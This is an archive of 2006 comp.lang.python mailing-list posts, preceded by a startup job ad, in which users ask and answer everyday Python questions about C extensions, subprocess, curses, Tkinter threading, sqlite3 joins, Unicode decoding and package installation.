<1159926073.919392.59840@i3g2000cwc.googlegroups.com> RadioSherpa is an early-stage self-funded startup that is looking to change the way people listen to the radio. Central to the RadioSherpa solution is a real-time electronic program guide. A beta online version of our product is available at www.radiosherpa.com. Further details about the RadioSherpa solution will be provided upon mutual interest and under NDA. We are looking for a Chief Software Architect who will be responsible for developing our next generation web application. Required Technical Experience: - Extensive software design and development in web technologies, especially using Python, Linux, Apache and MySQL. - Comfortable in C. - Some experience with embedded systems. Other Desired Experience: - Experience building and leading teams - Experience working in early stage startups - Interest in entertainment industry (a big plus) Most importantly, we are looking for a person who is willing to think outside the box and work her/his behind off. In return, we will offer latitude, opportunity to grow and a fun working environment. Pay will be in the form of equity compensation (until we get funding) and will commensurate with experience. Pls. note that we CANNOT sponsor visa or pay for relocation. If interested, pls. contact Sasha Javid, Founder and CEO at sasha at radiosherpa.com. Most importantly, we are looking for a person who is willing to think outside the box and work her/his behind off. In return, we will offer latitude, opportunity to grow and a fun working environment. Pay will be in the form of equity compensation (until we get funding) and will commensurate with experience. From sebastian_busch at gmx.net Wed Oct 25 10:32:35 2006 From: sebastian_busch at gmx.net (Sebastian Busch) Date: Wed, 25 Oct 2006 16:32:35 +0200 Subject: To remove some lines from a file In-Reply-To: <1161782402.343992.152080@k70g2000cwa.googlegroups.com> References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com> Message-ID: umut.tabak at student.kuleuven.be wrote: > ... I would like to remove two lines from a file. > ... I am quite new myself -- but wouldn't grep -v do that easier (and perhaps faster)? Greetings, Sebastian. From myeates at jpl.nasa.gov Mon Oct 23 21:10:31 2006 From: myeates at jpl.nasa.gov (myeates at jpl.nasa.gov) Date: 23 Oct 2006 18:10:31 -0700 Subject: using mmap on large (> 2 Gig) files In-Reply-To: <453D4BC4.9080100@v.loewis.de> References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> <453D4BC4.9080100@v.loewis.de> Message-ID: <1161652231.143853.239450@i3g2000cwc.googlegroups.com> Well, compiling Python 2.5 on Solaris 10 on an x86 is no walk in the park. pyconfig.h seems to think SIZEOF_LONG is 4 and I SEGV during my build, even after modifying the Makefile and pyconfig.h. Mathew Martin v. L?wis wrote: > myeates at jpl.nasa.gov schrieb: > > Anyone ever done this? It looks like Python2.4 won't take a length arg > >> 2 Gig since its not seen as an int. > > What architecture are you on? On a 32-bit architecture, it's likely > impossible to map in 2GiB, anyway (since it likely won't fit into the > available address space). > > On a 64-bit architecture, this is a known limitation of Python 2.4: > you can't have containers with more than 2Gi items. This limitation > was removed in Python 2.5, so I recommend to upgrade. Notice that > the code has seen little testing, due to lack of proper hardware, > so I shall suggest that you review the mmap code first before using > it (or just test it out and report bugs as you find them). > > Regards, > Martin From rogue_pedro at yahoo.com Tue Oct 24 19:14:16 2006 From: rogue_pedro at yahoo.com (Simon Forman) Date: 24 Oct 2006 16:14:16 -0700 Subject: return tuple from C to python (extending python) References: <1161728694.741915.170890@m7g2000cwm.googlegroups.com> Message-ID: <1161731656.218584.21470@m7g2000cwm.googlegroups.com> Kiran wrote: > Hi all, I want to make python call some C functions, process them and > return them. > > Ok, I got all the wrapper functions and everything setup right. Here > is my problem. What I need to do is to return a tuple from C to > python. > > To go about doing this, I first create a tuple object in C doing the > following: > > PyObject* toRet; > toRet = PyTuple_New(num_addr); > > then, in a for loop, i assign values to the tuple as follows: > > for ( i = 0; i < num_addr; i++ ) > { > printf("%d\n", dat[i]); > PyTuple_SET_ITEM(toRet, i, (PyObject*)dat[i] ); > } > (dat is declared as follows: unsigned int* dat; ) > > then, i say return toRet at the end of my C function. > > when I try to print the tuple in python, it says the memory address > 0x.... could not be written, and I can see a part of the tuple > printout, which is as follows: > ( , > then i get my error. > > can someone please help me with this? > > thanks a lot! > -- Kiran I have not done a great deal of extension work with python, however, I do not believe you can simply cast an int (or pointer to int, which is what you say dat is declared as, unless my C is /really/ rusty) to PyObject*. I think you need to do something like Py_BuildValue("i", 123), but see http://docs.python.org/ext/buildValue.html for more info. Peace, ~Simon From steve at REMOVEME.cybersource.com.au Fri Oct 13 02:37:26 2006 From: steve at REMOVEME.cybersource.com.au (Steven D'Aprano) Date: Fri, 13 Oct 2006 16:37:26 +1000 Subject: always raise syntax error! References: <1160720758.730483.56680@i42g2000cwa.googlegroups.com> Message-ID: On Thu, 12 Oct 2006 23:25:58 -0700, daniel wrote: > I'm not quite new to this language, but such error has never happened > so frequently before. I have no idea what to do about it, because > there's actually no syntax error at all !! Looking into my crystal ball, I see that you are correct, there is no syntax error -- because there is no code! There might not even be a computer. It is all an illusion brought on by lack of fresh air. Or maybe not -- my crystal ball is notoriously unreliable. How about you post the FULL traceback of the error, so we can see for ourselves if there is a syntax error or not? e.g. >>> x{4} = 5 File "", line 1 x{4} = 5 ^ SyntaxError: invalid syntax -- Steven From Roberto.Bonvallet at cern.ch Thu Oct 26 07:14:42 2006 From: Roberto.Bonvallet at cern.ch (Roberto Bonvallet) Date: Thu, 26 Oct 2006 11:14:42 +0000 (UTC) Subject: To remove some lines from a file References: <1161782402.343992.152080@k70g2000cwa.googlegroups.com> Message-ID: Sebastian Busch wrote: > The task is: > > "Remove the first two lines that don't begin with "@" from a file." awk 'BEGIN {c = 0} c < 2 && !/^@/ {c += 1; next} {print}' < mybeautifulfile -- Roberto Bonvallet From __peter__ at web.de Thu Oct 26 03:18:17 2006 From: __peter__ at web.de (Peter Otten) Date: Thu, 26 Oct 2006 09:18:17 +0200 Subject: Can any one help with solving this program it just doesnt take probability of the second team References: <1161845731.501326.46510@h48g2000cwc.googlegroups.com> Message-ID: Arun Nair wrote: > ''' Can anyone help me with this program it just takes probability of > the first team and runs the program doesnt takes the probability of the > second team even though specified''' > def simGame(probA, probB): > scoreA = 0 > scoreB = 0 > serving = "A" > while not gameOver(scoreA, scoreB): > if serving == "A": > if random() < probA: > scoreA = scoreA + 1 > else: > serving == "B" Hint: this is not an assignment. > else: > if random() < probB: > scoreB = scoreB + 1 > else: > serving == "A" Same thing. > return scoreA, scoreB Peter From exhuma at gmail.com Thu Oct 19 09:46:43 2006 From: exhuma at gmail.com (exhuma.twn) Date: 19 Oct 2006 06:46:43 -0700 Subject: What happened to RuleDispatch In-Reply-To: <1161265458.878033.121690@m7g2000cwm.googlegroups.com> References: <1161154025.466013.102780@e3g2000cwe.googlegroups.com> <1161204102.346021.154750@f16g2000cwb.googlegroups.com> <1161265458.878033.121690@m7g2000cwm.googlegroups.com> Message-ID: <1161265603.275979.51220@e3g2000cwe.googlegroups.com> On Oct 19, 3:44 pm, "exhuma.twn" wrote: > On Oct 18, 10:41 pm, "Adam Jones" wrote: > > > > > exhuma.twn wrote: > > > Hi all, > > > > yesterday I wanted to install TurboGears, which depends on > > >RuleDispatch. However, I failed to download it. First I got the error > > > "Bad Gateway" from the server, today it's simply a "Not Found" error. > > > So what happened to it? Does somebody know? > > > > I would really need to install TurboGears in the next couple of days. > > > So if someone knows where I can find a mirror ofRuleDispatchI would > > > be very grateful.The required files for TG are mirrored on the turbogears.org download > > page. You should be able to get an installation by looking up the files > > there. Try this command: > > > easy_install -fhttp://www.turbogears.org/download/index.html > > TurboGears > > > That is actually the recommended way to install TurboGears, as it is > > not always compatible with the latest version of the components. > > > -AdamHmmm... this is wat I get: > > Using /usr/lib/python2.4/site-packages/TurboGears-1.0b1-py2.4.egg > Processing dependencies for TurboGears > Searching forRuleDispatch > Readinghttp://www.turbogears.org/download/index.html > Best match:RuleDispatch0.5a0.dev-r2115 > Downloadinghttp://files.turbogears.org/eggs/RuleDispatch-0.5a0.dev-r2115.tar.gz > error: Can't downloadhttp://files.turbogears.org/eggs/RuleDispatch-0.5a0.dev-r2115.tar.gz: > 502 Bad Gateway > > Could this be a local issue? Forgot to say I also tried to download it via the web-browser. This gave me the following error (generated by the proxy I have to use): "Server response could not be decoded using encoding type returned by server. This is typically caused by a Web Site presenting a content encoding header of one type, and then encoding the data differently." From fredrik at pythonware.com Thu Oct 26 07:55:12 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 26 Oct 2006 13:55:12 +0200 Subject: problem using subprocess.call References: Message-ID: Alex Kachanov wrote: > running py module with the following code from shell: > __ > dir=os.path.join(os.path.expanduser("~/domains/domain.com/html"),'test') > subprocess.call(['find',dir+" -name '*.zip' -execdir unzip {} \;"]) subprocess.call(["find", dir, "-name", "*.zip", "-execdir", "unzip", "{}", ";"]) From me at privacy.net Sat Oct 7 14:57:51 2006 From: me at privacy.net (Simon Morgan) Date: 07 Oct 2006 18:57:51 GMT Subject: curses problem reading cursor keys References: <4527a7c1$0$21342$db0fefd9@news.zen.co.uk> Message-ID: <4527f8af$0$1377$da0feed9@news.zen.co.uk> On Sat, 07 Oct 2006 13:12:33 +0000, Simon Morgan wrote: > import curses > > def main(scr): > status = curses.newwin(1, curses.COLS, 0, 0) status.bkgd('0') > status.refresh() > > list = curses.newwin(curses.LINES, curses.COLS, 1, 0) list.bkgd('X') > list.refresh() If I use scr.subwin() instead of curses.newwin()... > y = 0 > while True: > c = list.getch() and scr.getch() instead of list.getch(), things seem to work. I'd still really like to know what's going on though. > if c in (curses.KEY_UP, curses.KEY_DOWN, ord('z')): > list.addstr("Match!") > elif c == ord('q'): > break > > curses.wrapper(main) From mrquantum at holon.at Wed Oct 4 06:11:29 2006 From: mrquantum at holon.at (mrquantum) Date: Wed, 04 Oct 2006 12:11:29 +0200 Subject: string: __iter__()? References: <7e8bf$452385eb$506d0b9f$12642@news.chello.at> Message-ID: <636bd$452388d1$506d0b9f$12642@news.chello.at> Am Wed, 04 Oct 2006 12:03:41 +0200 schrieb Fredrik Lundh: > > really? iter("SomeString") works just fine for me. > Hmm, right! But then why doesn't dir('SomeString') show an __iter__ method? Seems to be implmented differently than with e.g. lists? Know why? From jstroud at mbi.ucla.edu Fri Oct 6 23:41:11 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Sat, 07 Oct 2006 03:41:11 GMT Subject: error handling in user input: is this natural or just laborious In-Reply-To: References: <1160165545.417968.276460@b28g2000cwb.googlegroups.com> <1160178799.914895.28100@k70g2000cwa.googlegroups.com> <1160180341.136179.176690@b28g2000cwb.googlegroups.com> Message-ID: James Stroud wrote: > sam wrote: > >> this does what i want, though i don't like the inner while loop having >> to be there [snip] > A little cleaner. Now, lets tighten it up a bit more, and put nested > loops into functions. Im getting rid of keeping track of the running > total, that will clean a lot. I'm also going to be a little more > mathematically saavy. > > def get_pct(): > while True: > pct_list = ['cash', 'bond', 'blue', 'tech', 'dev'] > pct_dict = get_pct_dict(pct_list) > total = sum(pct_dict.values()) > if (total < 99.999) or (total > 100.001): > print "You've messed up, do it again" > else: > return pct_dict() > > def get_pct_dict(pct_list): > pct_dict = {} > for a_pct in pct_list: > pct_dict[a_pct] = get_one_pct_value(a_pct) > return pct_dict() > > def get_one_pct_value(a_pct): > msg = 'Please enter the percentage value for %s: ' > while True: > try: > return float(msg % a_pct) > except ValueError: > print "You messed up, try again." > > Now, all testing is done at the point where it is needed. There are no > running totals that could cause accounting errors, your final data > structure is an easy to use dict, unecessary tests have been eliminated, > loops have been de-nested visually and logically, and, most importantly, > the indentation level is kept manageable. > > I think you will be able to see how this latter code evolved from yours. > I used to program just like you and it has taken me a few years to > develop these little rules for tightening my code. > > James > Of course I see room for improvement in my own code. Personally, I like to remove "values" from logic because it results, naturally, in more versatile functions. So I would redo my get_pct() method to take the list as a parameter: def get_pct(pct_list): while True: pct_dict = get_pct_dict(pct_list) total = sum(pct_dict.values()) if (total < 99.999) or (total > 100.001): print "You've messed up, do it again" else: return pct_dict() Now, its a much more versatile piece of code, e.g.: pct_list = ['cash', 'bond', 'blue', 'tech', 'dev'] pct_dict = get_pct(pct_list) And now all of your code boils down to these latter 2 statments. You might want to think about what you would do to pass the total criterion is as a parameter rather than hard coding it. Hint: def get_pct(pct_list, criterion, slack): [you fill in here] if (total < (criterion - slack)) or {total > (criterion + slack)): [you fill in more here] Now, no values are hard-coded but are passed in as parameters. Perhaps "msg" in get_one_pct_value() could be treated the same way to produce yet more flexibility and hence re-usability. James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From rschroev_nospam_ml at fastmail.fm Fri Oct 13 04:25:11 2006 From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven) Date: Fri, 13 Oct 2006 08:25:11 GMT Subject: Using SVN with Python and .pyc files In-Reply-To: References: Message-ID: James Stroud schreef: > I have been moving to managing a lot of my code with SVN and I have > found it to work extremely well. However, I'm not exactly sure how to > deal with all of the .pyc files that get created every time I test a > project or package. How do people manage this? Do you run a script to > find files with the .pyc extension and delete those before every commit, > or is there a more elegant way? It seems like a lot of wasted bandwidth > an memory on the server side to constantly be dealing with these files > that contain no real information. You can instruct SVN to ignore the *.pyc files. What you need to do that is the svn:ignore property on the directory containing the files, IIRC. Check the docs for details. The online book at http://svnbook.red-bean.com/ should tell you all you need. Look especially at http://svnbook.red-bean.com/nightly/en/svn.advanced.props.html#svn.advanced.props.special.ignore -- If I have been able to see further, it was only because I stood on the shoulders of giants. -- Isaac Newton Roel Schroeven From judasi at gmail.com Mon Oct 30 09:50:33 2006 From: judasi at gmail.com (judasi at gmail.com) Date: 30 Oct 2006 06:50:33 -0800 Subject: Compile Python With SSL On Solaris 10 Message-ID: <1162219833.769046.64960@m73g2000cwd.googlegroups.com> Hi, I am trying to compile py2.4.3/2.5 on a Solaris 10x86 machine, but cannot get it to build an SSL enabled version. I have added the relevant sfw directories into the path/crle, with no success. I've even explicitly added ssl via the --with-libs directive, yet an import _ssl still fails. Has anyone else come across this? Thanks John From donn at u.washington.edu Wed Oct 25 18:59:31 2006 From: donn at u.washington.edu (Donn Cave) Date: Wed, 25 Oct 2006 15:59:31 -0700 Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> Message-ID: In article <1161812827.596356.316450 at f16g2000cwb.googlegroups.com>, "John Coleman" wrote: > Very good point, though one could argue perhaps that when one is > comparing an object with a truth value then one is implicitly asking > for the truth value of that object On the contrary -- since there is normally no need to ever compare an object with a truth value, then I would interpret this usage as an attempt to distinguish True or False from other objects in general. Some kind of placeholders for missing values, who knows. I'm not saying it's a great idea, but it could work in recent versions of Python. > This would make code like 'if s: ' equivalent > to 'if s == True:' with a possible gain in readability. But - as you > demonstrate the cost of that (minimal) gain in readability would be too > high. In any event - I think it is mostly bad style to use a > non-boolean variable in 'if s:' - it reminds me too much of obscure C > code (though others might disagree). Others will indeed disagree. I don't think you'll find much support for this position. But it's not as bad as your notion that "if s == True", where s is not a boolean object, might represent a gain in readability. That really redefines readability. Donn Cave, donn at u.washington.edu From usenet-mail-0306.20.chr0n0ss at spamgourmet.com Mon Oct 9 08:20:31 2006 From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann) Date: Mon, 09 Oct 2006 14:20:31 +0200 Subject: Dive Into Java? References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> Message-ID: <4out4fFgdgouU1@individual.net> erikcw wrote: > DiveIntoPython.org was the first book I read on python, and I > really > got a lot out of it. I need to start learning Java (to maintain a > project I've inherited), and was wondering if anyone knew of any > similar books for Java? Perhaps a bit of a rant, but learn Python and C++, take the worst of both, make it a language and you have Java ... ;) Regards, Bj?rn -- BOFH excuse #271: The kernel license has expired From NoelByron at gmx.net Thu Oct 19 06:12:44 2006 From: NoelByron at gmx.net (NoelByron at gmx.net) Date: 19 Oct 2006 03:12:44 -0700 Subject: UTF-8 to unicode or latin-1 (and yes, I read the FAQ) In-Reply-To: References: <1161249411.230825.139160@m7g2000cwm.googlegroups.com> Message-ID: <1161252764.244873.134740@f16g2000cwb.googlegroups.com> Duncan Booth wrote: > NoelByron at gmx.net wrote: > > > 'K\xc3\xb6ni'.decode('utf-8') # 'K\xc3\xb6ni' should be 'K?nig', > > contains a german 'umlaut' > > > > but failed since python assumes every string to decode to be ASCII? > > No, Python would assume the string to be utf-8 encoded in this case: > > >>> 'K\xc3\xb6ni'.decode('utf-8').encode('latin1') > 'K\xf6ni' > > Your code must have failed somewhere else. Try posting actual failing code > and actual traceback. You are right. My test code was: print 'K\xc3\xb6ni'.decode('utf-8') and this line raised a UnicodeDecode exception. I didn't realize that the exception was actually raised by print and thought it was the decode. That explains the fact that a 'ignore' in the decode showed no effect at all, too. Thank you for helping! Best regards, Noel From jcd at sdf.lonestar.org Wed Oct 25 12:54:22 2006 From: jcd at sdf.lonestar.org (J. Clifford Dyer) Date: Wed, 25 Oct 2006 10:54:22 -0600 Subject: Simple python + html + from --> to python script References: <1161722017.705987.78760@m7g2000cwm.googlegroups.com> <1161724741.888254.321030@m73g2000cwd.googlegroups.com> <1161725870.633545.31800@f16g2000cwb.googlegroups.com> Message-ID: Good point. I forget sometimes, because that's how I learned, but I came in with some background in other scripting languages, so I guess I knew what I was looking for. Thanks. Cliff flit wrote: > Sorry but for a totally newbie the lib doccumentation doesnt help.. > The target audience for the docs are for "grown ups" programmers.. > I think I will do some tutorial, in baby steps... > > J. Clifford Dyer wrote: >> A good starting place would be the documentation on python.org. >> >> In this case, the python library reference would have been helpful: >> >> http://docs.python.org/lib/lib.html >> >> Cheers, >> Cliff From hanumizzle at gmail.com Tue Oct 10 00:11:11 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 10 Oct 2006 00:11:11 -0400 Subject: problem with split In-Reply-To: <452a6b9f$0$22844$426a74cc@news.free.fr> References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com> <03eei21fpk5d6s75hb6fnaeruk0o7ob18k@4ax.com> <452a6b9f$0$22844$426a74cc@news.free.fr> Message-ID: <463ff4860610092111l3f230817xf5b9dd5045e5d03d@mail.gmail.com> On 10/9/06, Bruno Desthuilliers wrote: > hanumizzle wrote: > (snip) > > Regexes are usually passed as literals directly to re.compile(). > > For which definition of "usually" ? >From definition of personal experience: all of the code I've written or seen that used small regexes in such a context as this wrote them out literally. Putting such a short string, used only once, in variable form seems a little verbose unless you have reuse in mind. IOW, when doing simple arithmetic on paper in an informal context, you "usually" don't assign the operands to variables before performing the operations in question. -- Theerasak From martin at v.loewis.de Sun Oct 15 10:39:19 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sun, 15 Oct 2006 16:39:19 +0200 Subject: Cannot force configure/setup.py to pick up location of readline (SFWrline) on Solaris 10 In-Reply-To: References: Message-ID: <45324818$0$22621$9b622d9e@news.freenet.de> Chris Miles schrieb: > I hope this process can be improved, and if I have time I'll look at why > make fails half way but works fine when kicked off a second time. You need to use GNU make for that to work. The build regenerates the makefile, but Sun make doesn't recognize the change. There was a message telling you so. GNU make will see that the makefile was rebuilt, and re-read it before proceeding. > I'd like to get /opt/sfw/ added to the standard lib/include path for > Solaris (10 at least) as this is where Sun's open-source packages get > installed. Is this just a matter of raising a ticket? Not easily - resolving this might take months or years. If you provide a well-engineered patch, chances that Python changes are much higher. Also, your original complaint wasn't that readline isn't considered, but that setup.py didn't find it even though configure did. A patch fixing that has a higher chance of being accepted than a patch adding /opt/sfw to the standard search path (which is really a decision Sun should take, not the Python maintainers - in absence of a Sun change, it's then the local administrator who decides). Regards, Martin From steve at holdenweb.com Thu Oct 5 06:40:49 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 05 Oct 2006 11:40:49 +0100 Subject: Python/Tkinter crash. In-Reply-To: <008601c6e865$1104b560$03000080@hendrik> References: <008601c6e865$1104b560$03000080@hendrik> Message-ID: Hendrik van Rooyen wrote: > "Fredrik Lundh" wrote: > >>Eric Brunel wrote: >> >> >>>AFAIK, Tkinter is not thread safe. Using some kind of lock to serialize >>>the calls from different threads may seem to work (I never tested it >>>actually), but the safest way I found to use threads with Tkinter was to >>>call it only from the thread where the main loop executes. >> >>the Tkinter binding contains some code that attempts to deal with re- >>entrant calls, but I don't know/remember to what extent it's actually >>supposed to work (in other words, if the observed problems are bugs or >>just limitations). >> >>(maybe Martin's memory is better?) >> >>anyway, I usually play it safe and make sure to use a single thread to >>deal with the UI. >> >> > > > I must be dense - After I have called mainloop, if I have not started another > thread to respond to events that are not generated by the user on the screen (in > this case values of variables to display from the field generated by different > processes - there is other hardware out there), how do I get control back to do > the necessary updating? - I suppose I can use the call back after some time > thingy to implement a polling loop - possibly as Russel Owen suggested - by > polling a queue - but queues are for between threads - and I have seen here > somewhere that sockets also want to be the main thread - so that leaves a > pipe - and I have had bad experiences with pipes that are unblocked, and if I > don't unblock it, then the gui will grind to a halt....so I need a thread for > the pipe between processes, and a queue between threads, and a time out based > polling loop to read the queue, it seems - is it even safe to change a main loop > variable from another thread? , or should I do it all via commands through a > queue, implementing a whole goddam serial protocol just between threads? and If > I don't have another thread to do the timing for the animation bits, then I must > base that on a timed callback too, and somehow keep state between callbacks... > now is it ok to call widget command methods from a callback in the same thread, > or do I have to use invoke? > > My head is beginning to hurt... - what was a nice simple threaded implementation > is turning into a spaghetti monster of timed callbacks - you thought gotos was > bad? - you aint seen nothing yet... > See if this helps: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/82965 It's Jacob Hallen's description of how he solved the problem. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From richardjones at optushome.com.au Thu Oct 5 19:30:30 2006 From: richardjones at optushome.com.au (Richard Jones) Date: Fri, 06 Oct 2006 09:30:30 +1000 Subject: ctypes and setjmp Message-ID: <45259596$0$32011$afc38c87@news.optusnet.com.au> Currently ctypes can't play well with any C code that requires use of setjmp as part of its API. libpng is one of those libraries. Can anyone think of a reasonable solution to this? Perhaps ctypes might be patched to offer setjmp support in foreign function definitions? Richard From fredrik at pythonware.com Mon Oct 23 07:54:44 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 23 Oct 2006 13:54:44 +0200 Subject: Customize the effect of enumerate()? References: <1161391519.145292.249510@i42g2000cwa.googlegroups.com><1161557776.637735.92650@k70g2000cwa.googlegroups.com> <1161603820.012427.121630@m73g2000cwd.googlegroups.com> Message-ID: "Dustan" wrote: > Except that my program is supposed to be treated as a module with tools > to do certain things. I certainly can't control whether a 3rd party > programmer uses "import myModule" or "from myModule import *". anything can happen if people use "from import *" in the wrong way, so that's not much of an argument, really. From exhuma at gmail.com Thu Oct 19 09:44:19 2006 From: exhuma at gmail.com (exhuma.twn) Date: 19 Oct 2006 06:44:19 -0700 Subject: What happened to RuleDispatch In-Reply-To: <1161204102.346021.154750@f16g2000cwb.googlegroups.com> References: <1161154025.466013.102780@e3g2000cwe.googlegroups.com> <1161204102.346021.154750@f16g2000cwb.googlegroups.com> Message-ID: <1161265458.878033.121690@m7g2000cwm.googlegroups.com> On Oct 18, 10:41 pm, "Adam Jones" wrote: > exhuma.twn wrote: > > Hi all, > > > yesterday I wanted to install TurboGears, which depends on > >RuleDispatch. However, I failed to download it. First I got the error > > "Bad Gateway" from the server, today it's simply a "Not Found" error. > > So what happened to it? Does somebody know? > > > I would really need to install TurboGears in the next couple of days. > > So if someone knows where I can find a mirror ofRuleDispatchI would > > be very grateful.The required files for TG are mirrored on the turbogears.org download > page. You should be able to get an installation by looking up the files > there. Try this command: > > easy_install -fhttp://www.turbogears.org/download/index.html > TurboGears > > That is actually the recommended way to install TurboGears, as it is > not always compatible with the latest version of the components. > > -Adam Hmmm... this is wat I get: Using /usr/lib/python2.4/site-packages/TurboGears-1.0b1-py2.4.egg Processing dependencies for TurboGears Searching for RuleDispatch Reading http://www.turbogears.org/download/index.html Best match: RuleDispatch 0.5a0.dev-r2115 Downloading http://files.turbogears.org/eggs/RuleDispatch-0.5a0.dev-r2115.tar.gz error: Can't download http://files.turbogears.org/eggs/RuleDispatch-0.5a0.dev-r2115.tar.gz: 502 Bad Gateway Could this be a local issue? From mensanator at aol.com Fri Oct 20 18:32:12 2006 From: mensanator at aol.com (mensanator at aol.com) Date: 20 Oct 2006 15:32:12 -0700 Subject: proper format for this database table References: <1161293831.141761.284230@e3g2000cwe.googlegroups.com> <4t5_g.121$1n3.3067@news.tufts.edu> <1161367645.430191.289290@k70g2000cwa.googlegroups.com> <1161377313.064997.87030@b28g2000cwb.googlegroups.com> Message-ID: <1161383531.969842.15950@m7g2000cwm.googlegroups.com> mensanator at aol.com wrote: > John Salerno wrote: > > mensanator at aol.com wrote: > > > > > [Eid] [Sid] [university] [yearStart] [yearEnd] [degreeEarned] > > > 5 1 U of I 1971 1975 BS > > > 6 1 U of I 1975 1976 MS > > > 7 1 U of I 1976 1977 PhD > > > > > > where [Eid] is the primary key of the Education table and > > > [Sid] is the foreign key from the Student table so that the > > > single student record (1) links to three education records > > > (5,6,7). > > > > > > > Hmmm. I think I'm lost. My table will have a key that represents the > > persons ID, in my case it would be salerjo01. This will be what ties > > this table to that person. Can I repeat this key multiple times in the > > Education table? > > Yes, because it would be a foreign key. > > Perhaps a simple example might help: > > import sqlite3 > > con = sqlite3.connect(":memory:") > cur = con.cursor() > > # in the [person] table, [personid] is the primary key > # but in the [education] table, it's a foreign key > # I deliberately didn't make them AUTOINCREMENT to > # simplify the example > cur.executescript(""" > create table person( > personid PRIMARY KEY, > firstname, > lastname > ); > > create table education( > educationid PRIMARY KEY, > personid, > institution, > yearStart, > yearEnd, > degreeEarned > ); > """) > > persons = [(1,'Tom','Smith'), \ > (2,'Dick','Smith'), \ > (3,'Harry','Smith')] > > degrees = [(1,1,'University of Illinois',1971,1975,'BS'), \ > (2,1,'University of Illinois',1975,1976,'MS'), \ > (3,1,'University of Illinois',1976,1977,'PhD'), \ > (4,2,'University of Illinois',1971,1974,None), \ > (5,2,'DeVry Institute of Technology',1974,1976,'ASEET')] > > cur.executemany(""" > INSERT INTO person(personid, > firstname, > lastname) > VALUES (?,?,?)""" > , persons) > > cur.executemany(""" > INSERT INTO education(educationid, > personid, > institution, > yearStart, > yearEnd, > degreeEarned) > VALUES (?,?,?,?,?,?)""" > , degrees) > > > # Note: since both tables have a field named [personid], > # the table name must be included when referencing > # that field > cur.execute(""" > SELECT firstname, > lastname, > institution, > yearStart, > yearEnd, > degreeEarned > FROM education > INNER JOIN person > ON person.personid = education.personid > ORDER BY education.personid; > """) > > report = cur.fetchall() > > > for i in report: > print '%5s %-5s %-30s %d-%d %-6s' % (i) > > ## Tom Smith University of Illinois 1971-1975 BS > ## Tom Smith University of Illinois 1975-1976 MS > ## Tom Smith University of Illinois 1976-1977 PhD > ## Dick Smith University of Illinois 1971-1974 None > ## Dick Smith DeVry Institute of Technology 1974-1976 ASEET > > ## Note that the third person, Harry Smith, doesn't show up > ## in the report. > ## That's because no education records were created for him. > ## When you do an INNER JOIN between two tables, the linking field, > ## [personid] must exist in both tables. If you actually DO want to see Harry Smith listed in the report even though he has no education, you would change the INNER JOIN to a RIGHT JOIN. But sqlite3 doesn't support RIGHT JOIN, only LEFT JOIN. So we just have to change the direction of the JOIN. Instead of from education to person, make it it from person to education and then we can use LEFT JOIN. And it might be a good idea to sort on person.personid since education.personid will be null if there is no matching record. The modified query becomes: cur.execute(""" SELECT firstname, lastname, institution, yearStart, yearEnd, degreeEarned FROM person LEFT JOIN education ON person.personid = education.personid ORDER BY person.personid; """) And I had to change the print statement since nulls (which translate to None) crash the %d. With that change we now can see ALL the people and note that Harry is uneducated. Tom Smith University of Illinois 1971-1975 BS Tom Smith University of Illinois 1975-1976 MS Tom Smith University of Illinois 1976-1977 PhD Dick Smith University of Illinois 1971-1974 None Dick Smith DeVry Institute of Technology 1974-1976 ASEET Harry Smith None None-None None From jgodoy at gmail.com Tue Oct 10 07:06:50 2006 From: jgodoy at gmail.com (Jorge Godoy) Date: Tue, 10 Oct 2006 08:06:50 -0300 Subject: People's names References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> Message-ID: <87lknol99x.fsf@gmail.com> "Theerasak Photha" writes: > Also 'da' for Portuguese, which means roughly same as > Nederlands/Vlaams. Maybe. As usual: IANAE. It looks like the same but at least here in Brasil it isn't considered for sorting ("da Silva" should be sorted under "Silva", "de Souza" under "Souza", "de Melo" under "Melo" and so on) and it is even stripped in some cases. -- Jorge Godoy From jstroud at mbi.ucla.edu Sun Oct 29 19:25:23 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Mon, 30 Oct 2006 00:25:23 GMT Subject: enumerate improvement proposal In-Reply-To: References: Message-ID: Fredrik Lundh wrote: > James Stroud wrote: > >> The code is for an economist. She is insistent on starting with the >> first bin as 1. > > > leaky abstractions in reverse, in other words? that's not a good design > approach. > > > Okay, I've googled "leaky abstractions" (as was probably your intended affect with your silence), read the famous essay, and still don't know what you mean and how it applies to what I have described. Do you plan to justify your statement or emptily accuse people of violating esoteric principles? James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From fredrik at pythonware.com Wed Oct 18 04:24:35 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 18 Oct 2006 10:24:35 +0200 Subject: python's OOP question In-Reply-To: <1161159369.957887.285370@m73g2000cwd.googlegroups.com> References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> <1160965758.324644.131920@i42g2000cwa.googlegroups.com> <1160969393.803021.274070@e3g2000cwe.googlegroups.com> <45334fa9$0$5656$426a74cc@news.free.fr> 